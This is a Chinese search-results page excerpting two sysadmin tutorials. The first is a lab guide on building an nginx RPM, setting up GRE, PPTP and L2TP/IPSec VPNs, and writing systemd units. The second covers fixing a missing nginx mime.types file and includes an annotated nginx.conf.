首页> 搜索结果页
"虚拟主机报错500 " 检索
共 203 条结果
Sixth6: Software package management & Systemd service management & VPN server | Cloud computing
云计算专题目录Catalogue | Cloud computing1. 制作nginx的RPM包1.1 问题本案例使用nginx-1.12.2版本的源码软件,生成对应的RPM包软件,具体要求如下:软件名称为nginx软件版本为1.12.2RPM软件包可以查询描述信息RPM软件包可以安装及卸载1.2 方案安装rpm-build软件包,编写SPEC配置文件,创建新的RPM软件包。配置文件中的描述信息如表-1:表-1 SPEC描述信息1.3 步骤实现此案例需要按照如下步骤进行。步骤一:安装rpm-build软件1)安装rpm-build软件包[root@web1 ~]# yum -y install rpm-build2)生成rpmbuild目录结构[root@web1 ~]# rpmbuild -ba nginx.spec //会报错,没有文件或目录 [root@web1 ~]# ls /root/rpmbuild //自动生成的目录结构 BUILD BUILDROOT RPMS SOURCES SPECS SRPMS3)准备工作,将源码软件复制到SOURCES目录[root@web1 ~]# cp nginx-1.12.2.tar.gz /root/rpmbuild/SOURCES/4)创建并修改SPEC配置文件[root@web1 ~]# vim /root/rpmbuild/SPECS/nginx.spec Name:nginx #源码包软件名称 Version:1.12.2 #源码包软件的版本号 Release: 10 #制作的RPM包版本号 Summary: Nginx is a web server software. #RPM软件的概述 License:GPL #软件的协议 URL: www.test.com #网址 Source0:nginx-1.12.2.tar.gz #源码包文件的全称 #BuildRequires: #制作RPM时的依赖关系 #Requires: #安装RPM时的依赖关系 %description nginx [engine x] is an HTTP and reverse proxy server. #软件的详细描述 %post useradd nginx #非必需操作:安装后脚本(创建账户) %prep %setup -q #自动解压源码包,并cd进入目录 %build ./configure make %{?_smp_mflags} %install make install DESTDIR=%{buildroot} %files %doc /usr/local/nginx/* #对哪些文件与目录打包 %changelog步骤二:使用配置文件创建RPM包1)安装依赖软件包[root@web1 ~]# yum -y install gcc pcre-devel openssl-devel2)rpmbuild创建RPM软件包[root@web1 ~]# rpmbuild -ba /root/rpmbuild/SPECS/nginx.spec [root@web1 ~]# ls /root/rpmbuild/RPMS/x86_64/nginx-1.12.2-10.x86_64.rpm步骤三:安装软件[root@web1 ~]# yum install /root/rpmbuild/RPMS/x86_64/nginx-1.12.2-10.x86_64.rpm [root@web1 ~]# rpm -qa |grep nginx [root@web1 ~]# ls /usr/local/nginx/2. 配置GRE VPN2.1 问题本案例要求搭建一个GRE VPN环境,并测试该VPN网络是否能够正常通讯,要求如下:启用内核模块ip_gre创建一个虚拟VPN隧道(10.10.10.0/24)实现两台主机点到点的隧道通讯2.2 方案使用lsmod查看当前计算机已经加载的模块,使用modprobe加载Linux内核模块,使用modinfo可以查看内核模块的信息。准备实验所需的虚拟机环境,实验环境所需要的主机及对应的IP设置列表如表-1所示,正确配置IP地址、主机名称,并且为每台主机配置YUM源。表-1 主机列表实验拓扑如图-1所示。图-12.3 步骤实现此案例需要按照如下步骤进行。步骤一:启用GRE模块(client和proxy都需要操作)1)查看计算机当前加载的模块[root@client ~]# lsmod //显示模块列表 [root@client ~]# lsmod | grep ip_gre //确定是否加载了gre模块2)加载模块ip_gre[root@client ~]# modprobe ip_gre 3)查看模块信息[root@client ~]# modinfo ip_gre filename: /lib/modules/3.10.0-693.el7.x86_64/kernel/net/ipv4/ip_gre.ko.xz … … 步骤二:Client主机创建VPN隧道1)创建隧道[root@client ~]# ip tunnel add tun0 mode gre \ > remote 201.1.2.5 local 201.1.2.10 //ip tunnel add创建隧道(隧道名称为tun0),ip tunnel help可以查看帮助 //mode设置隧道使用gre模式 //local后面跟本机的IP地址,remote后面是与其他主机建立隧道的对方IP地址2)启用该隧道(类似与设置网卡up)[root@client ~]# ip link show [root@client ~]# ip link set tun0 up //设置UP [root@client ~]# ip link show3)为VPN配置隧道IP地址[root@client ~]# ip addr add 10.10.10.10/24 peer 10.10.10.5/24 \ > dev tun0 //为隧道tun0设置本地IP地址(10.10.10.10.10/24) //隧道对面的主机IP的隧道IP为10.10.10.5/24 [root@client ~]# ip a s //查看IP地址步骤三:Proxy主机创建VPN隧道1)查看计算机当前加载的模块[root@client ~]# lsmod //显示模块列表 [root@client ~]# lsmod | grep ip_gre //确定是否加载了gre模块2)加载模块ip_gre[root@client ~]# modprobe ip_gre3)创建隧道[root@proxy ~]# ~]# ip tunnel add tun0 mode gre \ > remote 201.1.2.10 local 201.1.2.5 //ip tunnel add创建隧道(隧道名称为tun0),ip tunnel help可以查看帮助 //mode设置隧道使用gre模式 //local后面跟本机的IP地址,remote后面是与其他主机建立隧道的对方IP地址4)启用该隧道(类似与设置网卡up)[root@proxy ~]# ip a s [root@proxy ~]# ip link set tun0 up //设置UP [root@proxy ~]# ip a s5)为VPN配置隧道IP地址[root@proxy ~]# ip addr add 10.10.10.5/24 peer 10.10.10.10/24 \ > dev tun0 //为隧道tun0设置本地IP地址(10.10.10.10.5/24) //隧道对面的主机IP的隧道IP为10.10.10.10/24 [root@proxy ~]# ip a s //查看IP地址6)测试连通性[root@client ~]# ping 10.10.10.5 [root@proxy ~]# ping 10.10.10.103. 创建PPTP VPN3.1 问题本案例要求搭建一个PPTP VPN环境,并测试该VPN网络是否能够正常通讯,要求如下:使用PPTP协议创建一个支持身份验证的隧道连接使用MPPE对数据进行加密为客户端分配192.168.3.0/24的地址池客户端连接的用户名为jacob,密码为1234563.2 方案准备实验所需的虚拟机环境,实验环境所需要的主机及对应的IP设置列表如表-2所示,正确配置IP地址、主机名称,并且为每台主机配置YUM源。表-2 主机列表实验拓扑如图-2所示。图-23.3 步骤实现此案例需要按照如下步骤进行。步骤一:部署VPN服务器1)安装软件包(软件包参考lnmp_soft/vpn/)[root@proxy ~]# yum install pptpd-1.4.0-2.el7.x86_64.rpm [root@proxy ~]# rpm -qc pptpd /etc/ppp/options.pptpd /etc/pptpd.conf /etc/sysconfig/pptpd2)修改配置文件[root@proxy ~]# vim /etc/pptpd.conf .. .. localip 201.1.2.5 //服务器本地IP remoteip 192.168.3.1-50 //分配给客户端的IP池 [root@proxy ~]# vim /etc/ppp/options.pptpd require-mppe-128 //使用MPPE加密数据 ms-dns 8.8.8.8 //DNS服务器 [root@proxy ~]# vim /etc/ppp/chap-secrets //修改账户配置文件 jacob * 123456 * //用户名 服务器名称 密码 客户端IP3)启动服务[root@proxy ~]# systemctl start pptpd [root@proxy ~]# systemctl enable pptpd4)翻墙设置(非必需操作)[root@proxy ~]# echo "1" > /proc/sys/net/ipv4/ip_forward //开启路由转发 [root@proxy ~]# iptables -t nat -A POSTROUTING -s 192.168.3.0/24 \ > -j SNAT --to-source 201.1.2.5步骤二:客户端设置启动一台Windows虚拟机,将虚拟机网卡桥接到public2,配置IP地址为201.1.2.20。新建网络连接(具体操作如图-3所示),输入VPN服务器账户与密码(具体操作如图-4所示),连接VPN并测试网络连通性(如图-5所示)。图-3图-4图-54. 创建L2TP+IPSec VPN4.1 问题本案例要求搭建一个L2TP+IPSec VPN环境,并测试该VPN网络是否能够正常通讯,具体要求如下:使用L2TP协议创建一个支持身份验证与加密的隧道连接使用IPSec对数据进行加密为客户端分配192.168.3.0/24的地址池客户端连接的用户名为:jacob,密码为:123456预共享密钥为:randpass4.2 方案准备实验所需的虚拟机环境,实验环境所需要的主机及对应的IP设置列表如表-3所示,正确配置IP地址、主机名称,并且为每台主机配置YUM源。表-3 主机列表实验拓扑如图-6所示。图-64.3 步骤实现此案例需要按照如下步骤进行。步骤一:部署IPSec服务1)安装软件包[root@client ~]# yum -y install libreswan2)新建IPSec密钥验证配置文件[root@client ~]# cat /etc/ipsec.conf //仅查看一下该主配置文件 .. .. include /etc/ipsec.d/*.conf //加载该目录下的所有配置文件 [root@client ~]# vim /etc/ipsec.d/myipsec.conf //新建该文件,参考lnmp_soft/vpn/myipsec.conf conn IDC-PSK-NAT rightsubnet=vhost:%priv also=IDC-PSK-noNAT conn IDC-PSK-noNAT authby=secret //加密认证 ike=3des-sha1;modp1024 //加密算法 phase2alg=aes256-sha1;modp2048 //加密算法 pfs=no auto=add keyingtries=3 rekey=no ikelifetime=8h keylife=3h type=transport left=201.1.2.10 //重要,服务器本机的外网IP leftprotoport=17/1701 right=%any //允许任何客户端连接 rightprotoport=17/%any3)创建IPSec预定义共享密钥[root@client ~]# vim /etc/ipsec.secrets //修改该文件 include /etc/ipsec.d/*.secrets 201.1.2.10 %any: PSK "randpass" //randpass为预共享密钥 //201.1.2.10是VPN服务器的IP //%any:任何客户端都可以连接服务器 //PSK(pre share key)中文预共享密钥4)启动IPSec服务[root@client ~]# systemctl start ipsec [root@client ~]# netstat -ntulp |grep 500 udp 0 0 127.0.0.1:4500 0.0.0.0:* 3148/pluto udp 0 0 192.168.4.10:4500 0.0.0.0:* 3148/pluto udp 0 0 201.1.2.10:4500 0.0.0.0:* 3148/pluto udp 0 0 127.0.0.1:500 0.0.0.0:* 3148/pluto udp 0 0 192.168.4.10:500 0.0.0.0:* 3148/pluto udp 0 0 201.1.2.10:500 0.0.0.0:* 3148/pluto udp6 0 0 ::1:500 :::* 3148/pluto步骤二:部署XL2TP服务1)安装软件包(软件包参考lnmp_soft/vpn/)[root@client ~]# yum install xl2tpd-1.3.8-2.el7.x86_64.rpm2) 修改xl2tp配置文件(修改3个配置文件的内容)[root@client ~]# vim /etc/xl2tpd/xl2tpd.conf //修改主配置文件 [global] .. .. [lns default] .. .. ip range = 192.168.3.128-192.168.3.254 //分配给客户端的IP池 local ip = 201.1.2.10 //VPN服务器的IP地址 [root@client ~]# vim /etc/ppp/options.xl2tpd //认证配置 require-mschap-v2 //添加一行,强制要求认证 #crtscts //注释或删除该行 #lock //注释或删除该行 root@client ~]# vim /etc/ppp/chap-secrets //修改密码文件 jacob * 123456 * //账户名称 服务器名称 密码 客户端IP3)启动服务[root@client ~]# systemctl start xl2tpd [root@client ~]# ss -ntulp |grep xl2tpd udp 0 0 0.0.0.0:1701 0.0.0.0:* 3580/xl2tpd4)翻墙设置(非必需操作)[root@client ~]# echo "1" > /proc/sys/net/ipv4/ip_forward #开启路由转发 [root@client ~]# iptables -t nat -A POSTROUTING -s 192.168.3.0/24 \ > -j SNAT --to-source 201.1.2.10步骤三:客户端设置启动一台Windows虚拟机,将虚拟机网卡桥接到public2,配置IP地址为201.1.2.20。新建网络连接(参考案例2),输入VPN服务器账户与密码(参考案例2)。设置VPN连接的属性,预共享密钥是IPSec配置文件中填写的randpass,具体操作如图-7所示。图-7设置Windows注册表(不修改注册表,连接VPN默认会报789错误),具体操作如下:单击"开始",单击"运行",键入"regedit",然后单击"确定"找到下面的注册表子项,然后单击它:HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\Rasman\Parameters在"编辑"菜单上,单击"新建"->"DWORD值"在"名称"框中,键入"ProhibitIpSec"在"数值数据"框中,键入"1",然后单击"确定"退出注册表编辑器,然后重新启动计算机连接VPN并测试网络连通性(参考案例2)。5. 编写systemd Unit文件5.1 问题本案例要求熟练掌握systemd进程如何管理其他服务器,具体要求如下:熟悉systemctl常用命令通过systemd管理shell脚本通过systemd管理Nginx服务5.2 方案Unit文件语法格式参考表-4。表-4 Unit文件语法描述5.3 步骤实现此案例需要按照如下步骤进行。步骤一:熟悉systemctl常用命令1)命令列表[root@web1 ~]# systemctl #列出所有启动的服务 [root@web1 ~]# systemctl status <服务名称> #查看服务状态 [root@web1 ~]# systemctl start <服务名称> #启动服务状态 [root@web1 ~]# systemctl stop <服务名称> #关闭服务状态 [root@web1 ~]# systemctl restart <服务名称> #重启服务状态 [root@web1 ~]# systemctl enable <服务名称> #设置开机自启 [root@web1 ~]# systemctl enable --now <服务名称> #设置开机自启并启动 [root@web1 ~]# systemctl disable <服务名称> #禁止开机自启 [root@web1 ~]# systemctl enable <服务名称> #设置开机自启 [root@web1 ~]# systemctl is-active <服务名称> #查看是否激活 [root@web1 ~]# systemctl is-enabled <服务名称> #查看是否开启自启 [root@web1 ~]# systemctl reboot #重启计算机 [root@web1 ~]# systemctl poweroff #关闭计算机步骤二:使用systemd管理shell脚本1)编写shell脚本[root@web1 ~]# vim /root/test.sh #!/bin/bash while : do echo NB echo DACHUI done [root@web1 ~]# chmod +x /root/test.sh2)编写Unit文件[root@web1 ~]# cp /usr/lib/systemd/system/{crond.service,test.service} [root@web1 ~]# vim /usr/lib/systemd/system/test.service [Unit] Description=my test script After=time-sync.target [Service] ExecStart=/root/test.sh ExecReload=/bin/kill -HUP $MAINPID KillMode=process [Install] WantedBy=multi-user.target步骤二:使用systemd管理Nginx服务1)编写Unit文件[root@web1 ~]# vim /usr/lib/systemd/system/nginx.service [Unit] Description=The Nginx HTTP Server #描述信息 After=network.target remote-fs.target nss-lookup.target [Service] Type=forking #仅启动一个主进程的服务为simple,需要启动若干子进程的服务为forking ExecStart=/usr/local/nginx/sbin/nginx ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/bin/kill -s QUIT ${MAINPID} [Install] WantedBy=multi-user.targetExercise1 列出常见的VPN技术?GRE、PPTP、L2TP+IPSEc、SSL VPN。2 PPTP使用什么进行数据加密?MPPEP支持MPPE(Microsoft Point-to-Point Encryption)加密3 systemctl常用命令有哪些?[root@web1 ~]# systemctl #列出所有启动的服务 [root@web1 ~]# systemctl status <服务名称> #查看服务状态 [root@web1 ~]# systemctl start <服务名称> #启动服务状态 [root@web1 ~]# systemctl stop <服务名称> #关闭服务状态 [root@web1 ~]# systemctl restart <服务名称> #重启服务状态 [root@web1 ~]# systemctl enable <服务名称> #设置开机自启 [root@web1 ~]# systemctl enable --now <服务名称> #设置开机自启并启动 [root@web1 ~]# systemctl disable <服务名称> #禁止开机自启 [root@web1 ~]# systemctl enable <服务名称> #设置开机自启 [root@web1 ~]# systemctl is-active <服务名称> #查看是否激活 [root@web1 ~]# systemctl is-enabled <服务名称> #查看是否开启自启 [root@web1 ~]# systemctl reboot #重启计算机 [root@web1 ~]# systemctl poweroff #关闭计算机4 systemd的Unit文件哪些语句可以控制进程启动顺序?AfterBefore5 Centos系统中使用什么工具可以打包RPM包rpm-build工具如有侵权,请联系作者删除
文章
应用服务中间件  ·  Shell  ·  Linux  ·  网络安全  ·  网络虚拟化  ·  数据安全/隐私保护  ·  nginx  ·  云计算  ·  Windows
2023-02-22
启动nginx时,报错:open() “/etc/nginx/mime.types“ failed
配置文件:/etc/nginx/nginx.conf中有include mime.types字段,启动时报错:open() "/etc/nginx/mime.types" failed方法一:在配置文件中去掉include mime.types字段,重新启动nginx成功方法二:手动生成该文件vim /etc/nginx/mime.types types { # Audio audio/midi mid midi kar; audio/mp4 aac f4a f4b m4a; audio/mpeg mp3; audio/ogg oga ogg opus; audio/x-realaudio ra; audio/x-wav wav; # Images image/bmp bmp; image/gif gif; image/jpeg jpeg jpg; image/png png; image/svg+xml svg svgz; image/tiff tif tiff; image/vnd.wap.wbmp wbmp; image/webp webp; image/x-icon ico cur; image/x-jng jng; # JavaScript application/javascript js; application/json json; # Manifest files application/x-web-app-manifest+json webapp; text/cache-manifest manifest appcache; # Microsoft Office application/msword doc; application/vnd.ms-excel xls; application/vnd.ms-powerpoint ppt; application/vnd.openxmlformats-officedocument.wordprocessingml.document docx; application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx; application/vnd.openxmlformats-officedocument.presentationml.presentation pptx; # Video video/3gpp 3gpp 3gp; video/mp4 mp4 m4v f4v f4p; video/mpeg mpeg mpg; video/ogg ogv; video/quicktime mov; video/webm webm; video/x-flv flv; video/x-mng mng; video/x-ms-asf asx asf; video/x-ms-wmv wmv; video/x-msvideo avi; # Web feeds application/xml atom rdf rss xml; # Web fonts application/font-woff woff; application/font-woff2 woff2; application/vnd.ms-fontobject eot; application/x-font-ttf ttc ttf; font/opentype otf; # Other application/java-archive jar war ear; application/mac-binhex40 hqx; application/pdf pdf; application/postscript ps eps ai; application/rtf rtf; application/vnd.wap.wmlc wmlc; application/xhtml+xml xhtml; application/vnd.google-earth.kml+xml kml; application/vnd.google-earth.kmz kmz; application/x-7z-compressed 7z; application/x-chrome-extension crx; application/x-opera-extension oex; application/x-xpinstall xpi; application/x-cocoa cco; application/x-java-archive-diff jardiff; application/x-java-jnlp-file jnlp; application/x-makeself run; application/x-perl pl pm; application/x-pilot prc pdb; application/x-rar-compressed rar; application/x-redhat-package-manager rpm; application/x-sea sea; application/x-shockwave-flash swf; application/x-stuffit sit; application/x-tcl tcl tk; application/x-x509-ca-cert der pem crt; application/x-bittorrent torrent; application/zip zip; application/octet-stream bin exe dll; application/octet-stream deb; application/octet-stream dmg; application/octet-stream iso img; application/octet-stream msi msp msm; application/octet-stream safariextz; text/css css; text/html html htm shtml; text/mathml mml; text/plain txt; text/vnd.sun.j2me.app-descriptor jad; text/vnd.wap.wml wml; text/vtt vtt; text/x-component htc; text/x-vcard vcf; } 还有一种情况就是nginx.conf 和mime.types安装时不在一个位置,把这两个文件放在一起,重新启动服务另外附上nginx配置文件详解#定义Nginx运行的用户和用户组 user www www; #nginx进程数,建议设置为等于CPU总核心数。 worker_processes 8; #全局错误日志定义类型,[ debug | info | notice | warn | error | crit ] error_log /usr/local/nginx/logs/error.log info; #进程pid文件 pid /usr/local/nginx/logs/nginx.pid; #指定进程可以打开的最大描述符:数目 #工作模式与连接数上限 #这个指令是指当一个nginx进程打开的最多文件描述符数目,理论值应该是最多打开文件数(ulimit -n)与nginx进程数相除,但是nginx分配请求并不是那么均匀,所以最好与ulimit -n 的值保持一致。 #现在在linux 2.6内核下开启文件打开数为65535,worker_rlimit_nofile就相应应该填写65535。 #这是因为nginx调度时分配请求到进程并不是那么的均衡,所以假如填写10240,总并发量达到3-4万时就有进程可能超过10240了,这时会返回502错误。 worker_rlimit_nofile 65535; events { #参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll模型 #是Linux 2.6以上版本内核中的高性能网络I/O模型,linux建议epoll,如果跑在FreeBSD上面,就用kqueue模型。 #补充说明: #与apache相类,nginx针对不同的操作系统,有不同的事件模型 #A)标准事件模型 #Select、poll属于标准事件模型,如果当前系统不存在更有效的方法,nginx会选择select或poll #B)高效事件模型 #Kqueue:使用于FreeBSD 4.1+, OpenBSD 2.9+, NetBSD 2.0 和 MacOS X.使用双处理器的MacOS X系统使用kqueue可能会造成内核崩溃。 #Epoll:使用于Linux内核2.6版本及以后的系统。 #/dev/poll:使用于Solaris 7 11/99+,HP/UX 11.22+ (eventport),IRIX 6.5.15+ 和 Tru64 UNIX 5.1A+。 #Eventport:使用于Solaris 10。 为了防止出现内核崩溃的问题, 有必要安装安全补丁。 use epoll; #单个进程最大连接数(最大连接数=连接数*进程数) #根据硬件调整,和前面工作进程配合起来用,尽量大,但是别把cpu跑到100%就行。每个进程允许的最多连接数,理论上每台nginx服务器的最大连接数为。 worker_connections 65535; #keepalive超时时间。 keepalive_timeout 60; #客户端请求头部的缓冲区大小。这个可以根据你的系统分页大小来设置,一般一个请求头的大小不会超过1k,不过由于一般系统分页都要大于1k,所以这里设置为分页大小。 #分页大小可以用命令getconf PAGESIZE 取得。 #[root@web001 ~]# getconf PAGESIZE #4096 #但也有client_header_buffer_size超过4k的情况,但是client_header_buffer_size该值必须设置为“系统分页大小”的整倍数。 client_header_buffer_size 4k; #这个将为打开文件指定缓存,默认是没有启用的,max指定缓存数量,建议和打开文件数一致,inactive是指经过多长时间文件没被请求后删除缓存。 open_file_cache max=65535 inactive=60s; #这个是指多长时间检查一次缓存的有效信息。 #语法:open_file_cache_valid time 默认值:open_file_cache_valid 60 使用字段:http, server, location 这个指令指定了何时需要检查open_file_cache中缓存项目的有效信息. open_file_cache_valid 80s; #open_file_cache指令中的inactive参数时间内文件的最少使用次数,如果超过这个数字,文件描述符一直是在缓存中打开的,如上例,如果有一个文件在inactive时间内一次没被使用,它将被移除。 #语法:open_file_cache_min_uses number 默认值:open_file_cache_min_uses 1 使用字段:http, server, location 这个指令指定了在open_file_cache指令无效的参数中一定的时间范围内可以使用的最小文件数,如果使用更大的值,文件描述符在cache中总是打开状态. open_file_cache_min_uses 1; #语法:open_file_cache_errors on | off 默认值:open_file_cache_errors off 使用字段:http, server, location 这个指令指定是否在搜索一个文件是记录cache错误. open_file_cache_errors on; } #设定http服务器,利用它的反向代理功能提供负载均衡支持 http { #文件扩展名与文件类型映射表 include mime.types; #默认文件类型 default_type application/octet-stream; #默认编码 #charset utf-8; #服务器名字的hash表大小 #保存服务器名字的hash表是由指令server_names_hash_max_size 和server_names_hash_bucket_size所控制的。参数hash bucket size总是等于hash表的大小,并且是一路处理器缓存大小的倍数。在减少了在内存中的存取次数后,使在处理器中加速查找hash表键值成为可能。如果hash bucket size等于一路处理器缓存的大小,那么在查找键的时候,最坏的情况下在内存中查找的次数为2。第一次是确定存储单元的地址,第二次是在存储单元中查找键 值。因此,如果Nginx给出需要增大hash max size 或 hash bucket size的提示,那么首要的是增大前一个参数的大小. server_names_hash_bucket_size 128; #客户端请求头部的缓冲区大小。这个可以根据你的系统分页大小来设置,一般一个请求的头部大小不会超过1k,不过由于一般系统分页都要大于1k,所以这里设置为分页大小。分页大小可以用命令getconf PAGESIZE取得。 client_header_buffer_size 32k; #客户请求头缓冲大小。nginx默认会用client_header_buffer_size这个buffer来读取header值,如果header过大,它会使用large_client_header_buffers来读取。 large_client_header_buffers 4 64k; #设定通过nginx上传文件的大小 client_max_body_size 8m; #开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为off,以平衡磁盘与网络I/O处理速度,降低系统的负载。注意:如果图片显示不正常把这个改成off。 #sendfile指令指定 nginx 是否调用sendfile 函数(zero copy 方式)来输出文件,对于普通应用,必须设为on。如果用来进行下载等应用磁盘IO重负载应用,可设置为off,以平衡磁盘与网络IO处理速度,降低系统uptime。 sendfile on; #开启目录列表访问,合适下载服务器,默认关闭。 autoindex on; #此选项允许或禁止使用socke的TCP_CORK的选项,此选项仅在使用sendfile的时候使用 tcp_nopush on; tcp_nodelay on; #长连接超时时间,单位是秒 keepalive_timeout 120; #FastCGI相关参数是为了改善网站的性能:减少资源占用,提高访问速度。下面参数看字面意思都能理解。 fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 128k; #gzip模块设置 gzip on; #开启gzip压缩输出 gzip_min_length 1k; #最小压缩文件大小 gzip_buffers 4 16k; #压缩缓冲区 gzip_http_version 1.0; #压缩版本(默认1.1,前端如果是squid2.5请使用1.0) gzip_comp_level 2; #压缩等级 gzip_types text/plain application/x-javascript text/css application/xml; #压缩类型,默认就已经包含textml,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn。 gzip_vary on; #开启限制IP连接数的时候需要使用 #limit_zone crawler $binary_remote_addr 10m; #负载均衡配置 upstream piao.jd.com { #upstream的负载均衡,weight是权重,可以根据机器配置定义权重。weigth参数表示权值,权值越高被分配到的几率越大。 server 192.168.80.121:80 weight=3; server 192.168.80.122:80 weight=2; server 192.168.80.123:80 weight=3; #nginx的upstream目前支持4种方式的分配 #1、轮询(默认) #每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。 #2、weight #指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况。 #例如: #upstream bakend { # server 192.168.0.14 weight=10; # server 192.168.0.15 weight=10; #} #2、ip_hash #每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session的问题。 #例如: #upstream bakend { # ip_hash; # server 192.168.0.14:88; # server 192.168.0.15:80; #} #3、fair(第三方) #按后端服务器的响应时间来分配请求,响应时间短的优先分配。 #upstream backend { # server server1; # server server2; # fair; #} #4、url_hash(第三方) #按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,后端服务器为缓存时比较有效。 #例:在upstream中加入hash语句,server语句中不能写入weight等其他的参数,hash_method是使用的hash算法 #upstream backend { # server squid1:3128; # server squid2:3128; # hash $request_uri; # hash_method crc32; #} #tips: #upstream bakend{#定义负载均衡设备的Ip及设备状态}{ # ip_hash; # server 127.0.0.1:9090 down; # server 127.0.0.1:8080 weight=2; # server 127.0.0.1:6060; # server 127.0.0.1:7070 backup; #} #在需要使用负载均衡的server中增加 proxy_pass http://bakend/; #每个设备的状态设置为: #1.down表示单前的server暂时不参与负载 #2.weight为weight越大,负载的权重就越大。 #3.max_fails:允许请求失败的次数默认为1.当超过最大次数时,返回proxy_next_upstream模块定义的错误 #4.fail_timeout:max_fails次失败后,暂停的时间。 #5.backup: 其它所有的非backup机器down或者忙的时候,请求backup机器。所以这台机器压力会最轻。 #nginx支持同时设置多组的负载均衡,用来给不用的server来使用。 #client_body_in_file_only设置为On 可以讲client post过来的数据记录到文件中用来做debug #client_body_temp_path设置记录文件的目录 可以设置最多3层目录 #location对URL进行匹配.可以进行重定向或者进行新的代理 负载均衡 } #虚拟主机的配置 server { #监听端口 listen 80; #域名可以有多个,用空格隔开 server_name www.jd.com jd.com; index index.html index.htm index.php; root /data/www/jd; #对******进行负载均衡 location ~ .*.(php|php5)?$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; } #图片缓存时间设置 location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$ { expires 10d; } #JS和CSS缓存时间设置 location ~ .*.(js|css)?$ { expires 1h; } #日志格式设定 #$remote_addr与$http_x_forwarded_for用以记录客户端的ip地址; #$remote_user:用来记录客户端用户名称; #$time_local: 用来记录访问时间与时区; #$request: 用来记录请求的url与http协议; #$status: 用来记录请求状态;成功是200, #$body_bytes_sent :记录发送给客户端文件主体内容大小; #$http_referer:用来记录从那个页面链接访问过来的; #$http_user_agent:记录客户浏览器的相关信息; #通常web服务器放在反向代理的后面,这样就不能获取到客户的IP地址了,通过$remote_add拿到的IP地址是反向代理服务器的iP地址。反向代理服务器在转发请求的http头信息中,可以增加x_forwarded_for信息,用以记录原有客户端的IP地址和原来客户端的请求的服务器地址。 log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for'; #定义本虚拟主机的访问日志 access_log /usr/local/nginx/logs/host.access.log main; access_log /usr/local/nginx/logs/host.access.404.log log404; #对 "/" 启用反向代理 location / { proxy_pass http://127.0.0.1:88; proxy_redirect off; proxy_set_header X-Real-IP $remote_addr; #后端的Web服务器可以通过X-Forwarded-For获取用户真实IP proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #以下是一些反向代理的配置,可选。 proxy_set_header Host $host; #允许客户端请求的最大单文件字节数 client_max_body_size 10m; #缓冲区代理缓冲用户端请求的最大字节数, #如果把它设置为比较大的数值,例如256k,那么,无论使用firefox还是IE浏览器,来提交任意小于256k的图片,都很正常。如果注释该指令,使用默认的client_body_buffer_size设置,也就是操作系统页面大小的两倍,8k或者16k,问题就出现了。 #无论使用firefox4.0还是IE8.0,提交一个比较大,200k左右的图片,都返回500 Internal Server Error错误 client_body_buffer_size 128k; #表示使nginx阻止HTTP应答代码为400或者更高的应答。 proxy_intercept_errors on; #后端服务器连接的超时时间_发起握手等候响应超时时间 #nginx跟后端服务器连接超时时间(代理连接超时) proxy_connect_timeout 90; #后端服务器数据回传时间(代理发送超时) #后端服务器数据回传时间_就是在规定时间之内后端服务器必须传完所有的数据 proxy_send_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时) #连接成功后_等候后端服务器响应时间_其实已经进入后端的排队之中等候处理(也可以说是后端服务器处理请求的时间) proxy_read_timeout 90; #设置代理服务器(nginx)保存用户头信息的缓冲区大小 #设置从被代理服务器读取的第一部分应答的缓冲区大小,通常情况下这部分应答中包含一个小的应答头,默认情况下这个值的大小为指令proxy_buffers中指定的一个缓冲区的大小,不过可以将其设置为更小 proxy_buffer_size 4k; #proxy_buffers缓冲区,网页平均在32k以下的设置 #设置用于读取应答(来自被代理服务器)的缓冲区数目和大小,默认情况也为分页大小,根据操作系统的不同可能是4k或者8k proxy_buffers 4 32k; #高负荷下缓冲大小(proxy_buffers*2) proxy_busy_buffers_size 64k; #设置在写入proxy_temp_path时数据的大小,预防一个工作进程在传递文件时阻塞太长 #设定缓存文件夹大小,大于这个值,将从upstream服务器传 proxy_temp_file_write_size 64k; } #设定查看Nginx状态的地址 location /NginxStatus { stub_status on; access_log on; auth_basic "NginxStatus"; auth_basic_user_file confpasswd; #htpasswd文件的内容可以用apache提供的htpasswd工具来产生。 } #本地动静分离反向代理配置 #所有jsp的页面均交由tomcat或resin处理 location ~ .(jsp|jspx|do)?$ { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080; } #所有静态文件由nginx直接读取不经过tomcat或resin location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt| pdf|xls|mp3|wma)$ { expires 15d; } location ~ .*.(js|css)?$ { expires 1h; } } }
文章
应用服务中间件  ·  nginx
2023-01-31
Linux 常用命令(系统管理、用户管理、磁盘管理、设备管理)大全(二)
